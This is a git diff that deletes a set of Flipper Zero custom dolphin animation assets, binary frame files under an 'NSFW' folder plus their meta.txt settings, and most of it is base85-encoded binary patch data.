zd=%thsAu@x-q6m+CI7@mE`p(&uZ{76BnQL(=FRNO8B!FOKGYv`;#Ul8Ii=v_Az@R` za7a+F;~&Fk2}zS<&-f>QXcS`N@BScgJgMJ-@jOGjL(mM{WQGtg30ns)ev?NG5{DH2 z26po_{^MWD(fqYZfw8}_O~yC>gGJ+`6v-d9j?4I!6`F6@H2jk5=y?Cku}*T!Nhbwk wMF$11E54kZ^*_Y4n{O~U{C5_xXW`;s$hi6pBde0f3MXMDhLgW{z`VWy0I;KDf&c&j diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm deleted file mode 100644 index 8483c1184fdef81258ad946369174078f18dd07d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 278 zcmZQ%5Mun_z$ee}pW*mJd$tY<2Tpcwk^cuoCD;#0)yehEh?T{l_0{3?eBL`6UjtE#h}%Xugo3ypgdZk?{?i;-&h=zd!sp*z7;` zn|=BL`IJu|n146$Z(V8qah1b=_8;~K|M7pQKcLR=tG|(}hOdXg=7ac$f6brjR1E5y zxEoXgDjV6DnB@HDIzM2aq;c>GuK>frgU_@L zs{b%POIN6@XJqA9b>=+!T-_5`K_}@s_Z+P&p`3K`~h6l`>>KP6&|KXeX z(U|!jKf{0KTMXQC1u_W+{0D6RPcVpNY&p06gTo&NXNGMIEe#7k?O;B^kix<~f$@LC zzd!K@e?MUV#vpIOpyl8En_-^$1xAPe>_6-ezIiQBSD^Ud?+^EboeAt~So;*d*02A^ z-u}P&>c0ga898hV7{2oJ|Esf9mSn!d5d1NaYp03p8jd>NO(8Dv1jTzMg{gq l6ApeWF{s_fBj3Wv{*s~b$5QzN_8d%n_y3=fKLGY669BQDY{&or diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm deleted file mode 100644 index 189463bdc52c8f32c456a460cbcba91b2dbf3e82..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 256 zcmZQ%_`~qO!G`exKSKrc0Xc>b>{vMJU*zu}P(1&G;dw*zC3%Mb%(EEyJ!F_a@JBEt zIvxJNuKGvrK%#<%ZNpIp_B(&%oJ!cIKeFflfBfJ(3;o8N1c3>a5+ZzdOg9{ma?UvH@A5s-g=jQxlG!S51m>J9S3PmA^(kvnA?&wa!31&2T; zJ8Mk?V;z5kTzsP>^EG~kf6S-c_!vTf2|Nk8P1NJF{0sta3XU6~l diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm deleted file mode 100644 index c4512929af6beea2d3211861989d31669e5849ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 277 zcmZQ%5M=z{V8i%;pP_>JfE>dIc65$GJ%fFM1w-8d1%@~Kn~#6s%9jv${@~*eF6jnV ziyt;#TpB`7&Ica_1UfX|S+Kb2A14p2pJU?>c9P?fS=zY2 z`Pu{i3ccX{W;+?%LJ;r)&3gSmJfE>dIb~s0vpZyE_2fovPm>c*{{$XO^Kk>t+{>U5l{txm6 z1r<{aLILZNEH5r#Gv z_C7|51m*+r2jA!gFf?Cd{AI>-KyLDZsyobQ8l8ih|Hwc1&;G;y0JBVRhlb;q=b}5B z&+sX*unEnneDE{3heb~3Yl8>l(;w^|TMoWVVxRu`KXXHU<69^82|6)N{4p%-Ex!~T znvb}te11^yBl)q2fUW*N{(mxZZH-I<486+i57_$t@#mkgS&*{Wv4=&W;Zt*CA5*(P x)#0m63?>ZCUmhrYH{_6Hd@s+wYDwddmkMOlUBW|Nhmf`42pN6ae7?f35%k diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_8.bm deleted file mode 100644 index c607170bbe2420905c74520417c915ebc940da4c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 325 zcmV-L0lNMH06_u&fII=<4*+-rz#ahb2Y@F44%mDH{13<+1NaZc*!}_6e+Q3%A9L_{ zlrlc-;_!e3p+(UE5ki5-0QeJZ09*qolW4$k@OweQ=&=}iI?4qD9heNDKLCn+ASaWA ze-(rL7_jX>1>yb-SRS7O@c)7M0u%y++&Io92b2UJ{s4M-0nWieV1wWARutTW&%Ud! z0T5m44`QJcO_xCZ{zJw>55MxzLHe>3>4W3`^cCrY+%`fo2gvM!0uOk@B^d+!2b*xG zhT;SXz(MVREeI&i0L$g)rY4VC~w XoI(1C9{@jKVE%`L`hE}Z|HKZ!(^-%= diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_9.bm deleted file mode 100644 index 3c7b70998eca8a04f5b30323a5e272a4e7a8924a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 314 zcmV-A0mc3S05$>tfII=<4*+-rz#ahb2Y@1fzz6IP01nIgtbc;+2amuXaqxJMF9Q#5 zYq1CtJs<%P27Wz|0T2cr4`Jz$4h|1!I6Z&R6yt-|;9__O;2@y(FAwk^h2j4L=MG*p zf`ifqh8R1nLGuAK7XjQ#6$hjPz#e7^gU0wQaj=8Zcx=FY|DR1b9?(4G0QUR?*Z`IQ ze|!(B50Bwod;t4fj01oV$T&X}Li7~!GFTQf^#X&~Rv>~<7(I(*=pcId0U~=d0IUpb zK=TC=fK&z#VNnYD51qX~hP(TU4|0C|=2lzhV==2A|96|mM M@%}yt|9}qwP!N-SUH||9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt deleted file mode 100644 index 70d1fd018..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 31 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_0.bm deleted file mode 100644 index 420ee73769aaabbb50a77bc59a8424a271f61d6d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d_s0C55UGztMws>FZ4`}_nPxC#I~xnJ-8{tzE*fIND?4)}gx5E_NnZ~gx7 z#^Mltg?s;g4~!%p(1;g`M_)anm~Cg+#WT3*Eh~D5d3g7|E#B6-&hNOzgQm= zeDFW`|8_iISP%R^{x7}<_cwgkx8y!M_#fh~4;Uyt`~dO~lYNEdcZYT>!|{a!--&I6 zhs*yW7soyjFERVzJRkTE;5;Sy@PD8?zT*{Nvlh<}WLJgziA`;LAbe9WK~(pqK~;bHm3EpYLrhX(muUG<5lU_uBRvJ_q^X z!Gp_tF9#qbyPgOz6uWCO7Z?bC-VPWnj%EN~|HHyBFc}OJf&ct|L*?rSsrYyv-^cb2 P2p#x&N8`Z!qC`GGZ2LKx diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_1.bm deleted file mode 100644 index 6b10b7fbe3589cae4e5d69ee38c959eee6fdbbb6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 661 zcmV;G0&4vM0FeR!GztON?bH9?`}_nPxC#ab|C;{)Kl||e#3&p2X2*UX7$|*&11+S= zf#M&C28OAv(oci&0HjDOuxd`cKUNu5)}=fTj8q!52!z77ip6h#+w-`97Ku>DNvdbF#vn^FW1k^_xK;1hwpXy4~jk@7mvRG z-@GS@emfUDx1paP0sKwiUczwy;z0NQQ{WZ=aPQ#&_uNa?ga7`E=lO4da0BCifRExo z0PtVM;;)Nk{2n3k|D)sa|Hynl|FHc3JN^&AyhHQ+|IxrgKN%o7upN*59UMXW{n!7! z^LWKU&5#xjzWM(BpW+A)7<}NyDfp1~e(?F=JcaE*gnTdX>4HFo?FgWKBXG+CKvD69 z@WS!l0Qno*K~UvFVcriAJVWh*kZB<>ZU=;3F%WvnBv_z%c*F02fMzNXs5gKfC-=!h zA{dB0gU%lqNjYE?txPH(_~)nQk$l9%{zLMK1C~`)zGA2UuaG=L>wu_wcl7<<>++v@ z1uG^0pZ~w?@&BLK0jU0xh2lR#d+GyX3Li)R_5Y8DlpJ0D__TYI@L|#^LcstR`}h6* zgNh*u$ODi7KYO>}9#BmHHGloSegEJOEeH4A+xrXCf?*g4Ja3?q5HBamzXz9p-@7e{ zM4-Lv1Oxd42an$W|F{0Z!v}zV9E17?m;d|k2M+BlR{#+I0;2%l`~Sb|csOAZ1|YyL zfb#c?$A1-4phSLv@=A}sEDlPbJbe)H`CFr4(}3YqA`cj7Aa%L$>MBkd;BOcG20#KP v3<3=R_yfyo4^ROQ2k{**kTGEp90Txwf%4vm-+_M}h)7l9KYNG!L=Pzd!v|7; diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_10.bm deleted file mode 100644 index d9defe1cba8b4d3f81712a5c9fad05f2de63ec3d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 636 zcmV-?0)zbl0C)lbGztMws>FZ4`}_nPxC#UW9yG7_|9&5MfP8wn4e)$mq4vN7#%m@0 ze#7wq7mqfT{r?Bv0Z4#sHBzqd{zKz%|Mh;u@rr|1fe3(nJpP~fd`{v3Sp)~+Ir*E% z{*j;dt4Vzij3^%;+GQmkLia$8+Dm2ntKgzn+Eu6Y9~h8+E0TPV@SZS0{A+nut4RL5 z63*XLUL*P78wdaDZ@@gI^ZoclZ}AX(Z}Id0c>eeB`8a$_^Wfh>;C|rv!a?!>oxuP9 za(siviIec?FOjFb}YNL(d5C_rc|)&JH1IClI&VIB(XBjJWu#REl(gT^ipVf;cN90(jDVFVY9lpLB06$_OEj$9T6 z2v4>{pbr}WJfL9Z#7Q-9Ic1<8H~6SMYE@oT9~ofe7vDiB)c4A)|Ly;kEfZDz|II+f_y5I# z$%TM^zw?kecVVF9fWRRE@w0*o?*j*r|J`}_nPxC#UYq1DO*$9^ApfPADr-}U|qA8Y_Tvj4#R zzy;&|x{t^{&zc2w1Zx*R z?W5oxTHXBL-aoGee;;S>59@)SgTTY$Z=MGB2Lk&91_&>W{B8y84~YIa8~LAu>|d`3 z_H$5IiGIKE8wc>eUXam$f#V5RKZE=aALoAmBM-l$z8}a(gnlp&aQJ?j@Bd#N z;A+$Fs5B4$KMlZZz=9r7aewRZ{smut`8g(39Dn)vJawSrh(c-}&~cWAKftep$_YU4 z|NmhGi`XaN^3Z>N|M7YZ2f;T7mGlrk(Flu+13mf&&%b}a|NiIE|G{t<`-Hq6Uw^-E zehw&DB!AzjSUkV~-}m1Czgrdq+5eM+%eFip?|d9l2nXZ8G6#^XZu|JD*n{JI|HMJ% zf4%?e>qM1)f8la~di(IuX~1xzlAeMKe=QE60KSCu_Q1i3AOR1v@AU*0>^$%b_p|!} j0*|}~Li^*KF~~}5 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_12.bm deleted file mode 100644 index 52e7722a07736bdeaf374621994bb2541e3d5fbf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 628 zcmV-)0*n0t0B`~TGztMws>FZ4`}_nPxC#I~sbBB@{tzE*fIND-t?+(e5E_No_v{ad z+(Hjf{{KJ!yZj^`(1;bn-^u@fgYlq%cq#d<=>8}Larj+jKQZ{h5HawRR*mC-h?C;+ zX~_Bu@&F%XmbLEv|Hbn@+{~{(u>EhQzh0-!UjPB!TQhxMfBZi>A8dcW*EiO$kB{$% z?^D-==ey(j+3?{g@ekGa2La|I#uN^G2LA`acndwj<$s*uJzM+ylph~^KLhX|zx>Vs zFDR%z_+R)O06tJqd+zi_Xm&@>IuOA!Qd+Tp!C1+ z=s-Ak@RD;xJRfNM03Igygkd;QsGK$Lp);t8h zx`)YM?@$eQ`NkpS2M_>nkPYSh7<7tJ7(fSpfNzbZ5QO9b%m22(Kf&UHXaTAKCRc!pEbNy@SY*f3k?h!6W|V@4@BU-rIlu z|NEH0;txOgyuR?Hss6wG(5ip?aNs#aAPx~$pa1u^mn_m1;{Vye<@@hz*l6<}xBgxR zEqD;X0|A1FZ4`}_nPxC#UW9yG7_|9&5MfP8wjP3U}Jq4vN7$Ls(8 z|3mQrfb=h0|M-3&6o>}GU39mPdSx!l71kc`J4l} zzZcB|-vfXP>i{nhdJEzq_k#n={|W~*f{Fi!gUNpohzLBl!SPqU0+H{B#*^efcuWib zKaMBJzSIl^fEY0V5R={!5`;R(0xuo>l>F2R7yf-N?+3)b(kMnEzZuiVzMJ?-J*Zt9 zyh9g;_#59T5W!#Y5;%8&-tZhIQu}~_$2N@IQK&C#nC%L~|dn{8WCrOqZ+s%7EuTPWF&WcE8^KVgs1|huQ(uT@U}O0PcR9 z?Wk;*|FZ!6f1~Wx4v+wUa2tg57<7tI*gy#Z{6N9O5QO9b&A);62c-ni15^M|f8ac* z199#Bf$K*HpZE9P|8K#k0^U)5!}9<4fo1n55wvON)7yfE-}?cKED}GC|MVVT`~PqK z-~U371+@Rm!R6cSi%H5-hzFAUzY3A?ub|?B0Ee0XuZPP2|F*-{iBw_^d<r|J`}_nPxC#I~dbvP&@5Aqq50zKB{lCFO?Erw(KELn) zhu|PP3)cJYKM?ysArK1&zRiCRj6fdL2oJ*h)cyzJfFB=)DogzjiQGaAKN*!Pa!?U_ zfCu@tihciK_y?4WOZ5Gh-~c-6&1>EDFTenQ^-b>o_x~5p_cQI+{P*xcd~ff3|9_pn z>jL}x`ThTY{uB?5|DPN0`?KJlUf55+-+zUN;`hUVya+uQ5B?v){$Ggxf8Ra_;l3sL z|JiUKg8l#IY$12d0|osB4`7}l`S-xX<$sWant_o2!Qce)cg73<4-bkwVIbznL_cu& zfV^Gt1cHC#uta@GWIg%&2t)B8ggeImq7rz;NzWt=jRYPc_o7GzgMZ5p$iC4C6;|IE ztIfWL_rX#h;{cK6{vY^}J)jj*aKho94fuU<5K5GS|G=QbyaD)vK||vKj04694qOz1 zq3_^CW1kKA{qY#9_9p`va0&gQnq8Os1rg4Czw7nDSS31N|1txZ{eR2rAf;-*zkJjO zun!XY;5MJt(DYy(&-MNS4^2a)zx~(;F^MGDA;KHCuG@#@F3-HTQQ{HOb%VDbOo#lznHgM~0Viht}r zLcstJ+`urfNd7Co^Kl18`XLrFdI};hFIY5w`}QeB9z*}TgUbK+_y1apoGFofxA*vX zFrg3)Rb&4@Czrpyl@6u`0W|;D!R5V`gOCzkP5!(PUvZf=OawaV{rnJJ(8&N6zqj`R hO70J67XyD-`hv(l$Kl{!YHtw_#DE?@p1=JbG62P4PeK3y diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_15.bm deleted file mode 100644 index 6ed83b3ad735e5b39fea9b95f5228feb7b31c339..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 642 zcmV-|0)71f0Db}hGztMws>r|J`}_nPxC#I~dbvP&@5Aqq50zKB{lCFO?Erx6Jzwwu zhu|PO3-*(k@c@uO zKNBjiY(6m{{C}-dPq*+t00H-9GhWZxz5oNinBR5(J^Vl)8+z9_{vW^ow;!+d|IP7$ z-}~|Y|G2)t{&;VH)-Rj}-;V+Jea-WLzu@F5@`VHA`v>5w$NvN$&F`W34~#@VANdvm z-bDHT%-TW^7)U+vpST!2ec}1Q|H0$9f6N0x|AW8>8&35)agn zUNQJb_@i(-F zLjN8G1~5Mo`#>=otG*@!9Q+sFiBjtS`B5Cl>wgs|G?!EV#6WYOp!-NNolp1Ql>y9u zPwjxTE{mxE?tY!^s0SDSy8!%uqv7Rr2mrot3&iw1R0$?j9Do52h&ZAUnuoL;zxWUE z9#BdLfB*XjCw>Rq7a#xc{}-?JNB#$w^f*4z2!IL&{F4ks9zXl_{6ZrF1rG90_Xn3> zzuVvcMgt23kMrJ*F-Z^wOpd{>gUa{&|9^Yn;fP8g982u{o_+nk{z|1!Xa2qqBH2?x z$yDTj^Wb8=-sPa=f|tktuLGBUo(@4s!aSe(cp$#8AbLmuL$2H3!{$RE0@v$)a4B6u c?||Rxo8}*Agad*3)i2CG!|?}?um1xBh%UB83;+NC diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_16.bm deleted file mode 100644 index f1b6b32ec6c8dd730ad04a3b482c1c9637173d93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 632 zcmV-;0*Czp0CWNXGztMws>FZ4`}_nPxC#UW9yG7_|9&5Mgacu!s_#SN1rN3Y0igYV z#o`}`1P5Vm-vk6c@CrdZb@p#~e*PDpr|^C;P-@U25D$c!N9ad8Ie}Dme zCQ?%f@8UrC|7xk9U)X-V)eP3V@^63u@8-APfA4;$5Ci`AT-|@q{$FtUYjOYoxxN@9 z|M%nl{=57nKR$SGKkiSQ2H%eX{{zI|7z_RnLcbmSC?6l#KLvh2@$^7H^SX!NJ}vey zotA*_BK!l!X8`G_fMW6A0sGLTIa~GuM-K1{+W`o~XfOB(3^TwldIXCVZ{Sj6fboR`mL-69 zh2 zP`w}jRsr1qU*ID3beI3L0Q`R==;dq>0Do``#{3v`icqkC1|JgXK1U!9Zu|%MJt!uC z8lVD!_krX}A9ml`4o~!qK7ZfXAV;g*k^jNuHXYb#fI^5L_W4=Zun>+n?!FHpSpVZoMACLY`SE${ z-byka;GjU|_pXDGQeIE}JP=jb7(FBaA=ho^;qwfT0c-WYI25~})`0Lg^`-gU!|Hw> S2j--|KIlD1;tw9X#9hK=EFZ4`}_nPxC#I~sbBB@{66^rc=d7{;P}Bq?Erv>#!LGB zhu|PP4OJk1LH2+`AXW`*OTGRN!8~pny(ic{F;H_tAU_JNC-`3zxPTTx0Qgn(rtv?x z0InbURrEeFAbfs38ou}c{{#odG8PRH{J=aCx|VoGVL zwy*arfFt<4S#-A?xW2y>ibdDnFRNzPC;Bgs{uD2YtgHGD5q#e?w4nI^kMbWKOL#@~ zzR^^_BJz<7<1NYQf4`yo()LBdKa2+QEz9bI$_fu@1@g_`Cl&q@FMstn<_;h2{zeXJ zC-Z;P510KO@gH~Y4z4Zuy{H%u=kAa050ky25>NHsY#%H9R9?^@<=mtp`N&c`)OZE? zUPJZ^5B44(AHaNKLG~YvegppSC*lKu_D^gd{s?{O5=gK2Ka7uX2jaha2l5|Pp992x z^avq5Ws%T$kKPq&{=xOr!1+Rh%c#kHA@FF%1b*@jEmQvn!%Q|q_|yVKJ~NFXy}`x* zmxIQw|Br){0LeQ19$~DXqSHzaFnGZ49q1T1Vi1~#^c-cOga1G9aCpHe9sl@2V1Li> zJg6W4zTe&tNI!T!f8W@7Z~Pc<`|b}f{rdm^-vr110pL^q|Co3@dj0<2f9?(#Tmyl> z|MvmpDj;zGn8m>T-+w^z_x-=$-tcr_5`w_*+G0;H{@?#AI}xC#?=b`p?EEm*qH@32 z|5<$Rve0rq1!_Lfd3$oepaR?xH;pHEX1OL|tn9`$0T>t<8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_18.bm deleted file mode 100644 index c6eac5abec1be36419a2a11bfbcc31b2c1da972b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 648 zcmV;30(boZ0E7YnGztMws>FZ4`}_nPxC#UW9yG7_|9&5MfP8wn4e)$mq4vNF%1iqG zhvESN*ng=*@(;8EkpTE=wp( zKzsHwvY*eGe_x4Jm&?~5*YcH;^aIEKe~rdVP1EPI>-{97>9X$m7maFJw;z-w9~sW~ z-`;<&^-Ve;0w>3NeoYVn-{K(m|NG(ni}^li0P&Z*gr6{vzi&JE?}Nq$FLChDe*^-O z1Diqr&%k$p;opnj6ZfCAgnmT!pkP1X@&0ey@es*(f4Bnqf8wC^f^Y#tGX9ImKGY15 zXuluec!$~{z`Ni4ACG`gS?z`LfA4b-fIN5M_JDLhw;P88z#n=9ql^E#&NzVbceDr; zH<-r&$T#^Yy}29P)NmeO^?OM=q4A9H6obDXwI|d6zeBhf6#K|3nxW9b_!zc)bbjHX zhxoAIL07J!QXm13{Gskb03HAwfBE0%oQ^sKlPV5D*#CcH(uhK89?)`|2jV>_B>)s8 z!Uvbz-|z>PgZsDt|3T^gz5XCz@dc0fwl7P6djGKpmw$c#|964K7w{EF*$)Sg-{0Q` z2qkP03lAL}UBCDG{oj=(3&GEy;3uK--}n3Sw~2$x7#}O| zzyCD{6bk{s`_3U_V*CB-uO;JG{1Hp|9DB9alE66y!IWPC19w4?IN+E7diPdjAy_;T iq4*DwJ!()5gdP#_2atX~5co&o;6e6;8U*-1z+=7L+~6_(UFYrj56%OBvb^1W$M}GFC;xlT_x>-R z2lu~u2ME4=AN=pr|NA%3!~Z|vfB)C`C_VQd;CX-5?f@Uh{s+MR`}gpmd;c%s@xO=# zT^s-G99~=as6D}B2fz>S-~W!_1>#?USpQ4tFK}6Z^g{aZcF}`{@BhE%_fHS*cgJ7X z!~Ocm;QxUE54$XWa2!~;NAd9A{%{aK;*d-2K)n0E7#I!k9w+vQPA{J>1P0jD7yCgY zQ=iX90WAJE-hl|Hem)@a4~adZ6ezFP^8lZd;|mawem^)F_XS-JeG1ys5w9UfB(h~ z$tX^P+zwCwKfiDXloEme{rT13=ooio!LPX#csl_3|FyDEX~7{7ct(JvFb?l-tPVFhLE;_>xxAW7AQzM);2$mP z#c%)-kHkM0@Id{=BmgKx6A&C9<-8Cz(0Yr-Mj#;%$N+hNpEyW^?||TVzd!zXJYoQ? CPGZgg diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_2.bm deleted file mode 100644 index 67958b7db1ae0507b19c76cbcd4ba7af332ba61b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 643 zcmV-}0(|`e0Dl4iGztN*)lom+`}_nPxC#UVL8=E2|9&5QgaV<}4u}L`q4t14Y9C)% zeu4wA?aY2b_<%wn9}51f-TM#40t2wq$p|GC2QYkg8NHV?{l7bi0b~#fg>GrBKfnO0 z9eUPizA+$tW;6SZ;C}fW`1Y@UZ-4;mHMJW`K0pK1=kIOi_y86vzc=>(hxOB^`Te`& z`~U}^{{MHH0|aPCe*Z)Vj{YJKeh2=)2DD$z^Wghm;2cDKd;ww;6McR^_V9R%#6K60 zxO~53`Tq;ZWUO;q{SU4lsD%a{u`Fc}U^_8^2s)A>*J)G@#=E51;?nHk3jWP$dWfJO95pc%YOH|NJ19 z@Hqd)$N&57{o(X3kM;%+AMflupaJ0j{sZ#=-;kre29z&xi~jlp<=5}_`~PtW!r&ha z9|y??50C(U;2~QV!^Z&fL4d>C_K(NB)jkA-9x(EGfA-(`SU92_2#f=e4=euv{|#BD zC}ur?d42zM&~iM+5JDK}Aa|hTfIwh?;e>c6;DNiG$N;cN2Z7vO)tLYapbsGU&coyn dP~gBL&=0`8gX{n)^aJ^S55z#iAi@6thJXq8Jk$UH diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_20.bm deleted file mode 100644 index 789f27738f0648c915ecbb271b59a38bfd5d16f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@KU0Eq$sGztMws>FZ)`}_nPxC#UYq1C_j|NHR!#2_0B_eWMA7$|+P5DSH` z8y^qM0t2Xs)oz6{twmjV^zNYuklc7&?OKHwp&H`{%_9W0DZMfE&BZ* z+yGPUE|cmX7*I8&5Dnd?EBW|`>p$hxeZ}Ju2gQGr9sT_e@Bkd`O85HupXUMJvTlLm zADjk%vu^!^#D5qK|LXbw@}ukb|K9(=V+0S!|FiY~|99f~|Hb?t*L;i0Kj8oO)APXp z#zEuvU%`B!eh>Hm{$Gv<>>eQDzr{iC$^V1P_CK5lz8)Vk`^Yq3*!f67;|UKqFn_%O zc}T(SB^mztyg|9k=DKZpeX{aAoU$KqdF1VX8R{C+SI@%V?^ z0|1GBznqxZyi@O_s(pXnnfW|nVC9NRbidBW+#Wyk`p`8LtxxSDG-3F{m&-+|Du=`V zqyLZZsC1A2l zPyqV>VDf@!0j>Y%|8L;((0_luzi>TXA`c*-+r!I?<(xzwR`M|a?_lDE;5+;eEF3;x zzx}tq6BxOiPh-S`1INGr+Xn~tD?*gq9x(7I{lWwP{=<@nA09wFzkgu>jfoC82>b)E z0vHDT95VHqLZfgG#B`op{dhSZVk{96Ksxnjioqce_(#AVSJW8*39wLjMu5aH4Y(wL n1yBJDJ|Wev5&`}_nPxC#I~Z@!N||9&5Qgah%m#r4DE1rM|W1MJe( zJ>mHX4tgu8#|Pp82!LMtv`yfCXb>OVs;5~Gj8q)Zj0E0Zp$sb|G(=9z*qe>t@wOmLip8Kr!&9q{s~JU(!j1b^ZFAGkndK-Q2_e)sWtZ{a}pgg`I<{*nBk zK=#2&KmGm~{-gu(&*19d@h`Ok1xfd2a5C|HL@5FB;80-S{rsdJut*I{{lI`>gYiJ5 zU;*WpU&KNMRsVPcE-bkwx>z`|M+jzboh(b zp`?8m#o%G}paYBl^AL~zJ`P3LgU{Fh>F+~lB+`SE|K|vd4U$lr0VqHX`v;T|c0mQ_ zyF?y9;@kVd?eGVe_xHONE(@2n@WH|2BoT1$fy8(o{{xB-Az*+9?m!q>&~NY#Bse}_ z+vtRU@l+uq$C(cU4|EzodwP_j5DDA^u$~}j`~RWR52rvLSKa;mN>B(y0;mQYglrH$ zf8AAvm{;K*H{6PugP#-W1L+^q3Z-4N3u)Jg-<)B17U;4a04gL?s6Vdm-YP8@QDB6Z~%E|C*kq{58vPw-yoD zU>}Ga0A6WghOHCn5f6yGzQ4IpG~hU2gk~TwI{dskfC0Dz2f+^?lmr@*0{GA39s;>l k$ie_$1^gZ`aQqMl!T&KBd_n6F4~RT}kRkm8#|QrpkcO;W761SM diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_23.bm deleted file mode 100644 index 2162cf14dc6be3912dc6f29ebb54e692d584e5aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 638 zcmV-^0)hPj0D1xdGztMws>r|J`}_nPxC#I~dbvP&@8JRV$OpK6yR(06cr-_@Dy@1LEI@>yiJ0=%L{8FT6v8|BJ*R;PHxs z+6mwc*DWsUwT9cJ~%!!5B-0Lhub04{=jiz@&BvZ zNSrJN3_c_Hl5u_f90`1)K;_85JwM(D1_o0YAbqNwPydI)4-tD%DOe7N|KVVkhsFN# zUl;FV@ZJx^-sAEA{%@a#{7SaGp;+I~!Y^tCLY30~`|bU}c$?NirB4t4&pi*2y{eyZ zP}}3+@xQ=9$*2a10DSZNcm6&OOaYug1@E7)gcx*+P&B{;&%e*$K;ei&av#!IfDeEB zpN~ojpbn@2YybGze6#`4?Ux9kgwwv??f>#}K);`WdHen2f$xwB5IxWDI37Wg_KV6E z2^47q%eTF@mWfP%&J8?1V)6g)j^_aOaB86P4wmd#P(TphJUsCE{`S=7lK;3ka{2GI z;M0KNOXK0fr^|aUc&q{u{P5tx<=cUSQa}P9_k)HDFL-&0CGhZz%mzdRz<2K-kokJS Y>V6&v*YW*>f(L#cQTXsbD3K410QB=>SpWb4 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_10/frame_24.bm deleted file mode 100644 index 8cdce551522dd97dc00251a24b03f88526b0aab2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 646 zcmV;10(t!b0D=MlGztMws>r|J`}_nPxC#I~dc8n+@5Ap9fQQG!yAO;MKG*>G-EQIf zAP&O4|NVc1?*ODgJQ}~Y@IO!=g-e<9AB~gA3MbRg|No?B zv6bZg!{Z7E#j{oA^Z&Q-KzwUBoUeGiNA8gtzjv+A7mPq3694BLUax=v@HGFaU_4Fm zA0L0ek)I!m97FH_$M>t@@fXGe|BnCX+2a8h%y0RBCyXRt8`vG=evcA-a5wNjzwpd-cu@ekBP(f)z`yW{%t zf8hTJdOm2M4*h=X2M^2#!~OsL;D7J@h#u6BAuM&^@=vxx0q_Nn7#>6Rf@Hp*_#UnY z{5QP<0rLOgaAER=1J)&yxP9;#5cu!nAoajNKVSb31`Z#51cOMt9|yt;e~2U^>;Jgi z0pee32114K2anPz|KG%!@Ad!wXP4mki`pfsKab`*P8NGmG?^>X_-Ekp|HQ-VsnRot zzaRS-+}t6N|M}*?LRYUK5?}v({{R1vqm*z#@}J)K-} zzBnJ>{uT)k`1`@--ye_vxBi6!OZmsI0ZHUP-)MB=0`cI>!R759js7a7Pv?h@1uOsW zzZM52QvJcgr_1+$nuC)I0QPujVDj(NfyfCMNAtl4SC`ZVKmw=$hyCE;2g<$!AOi3H 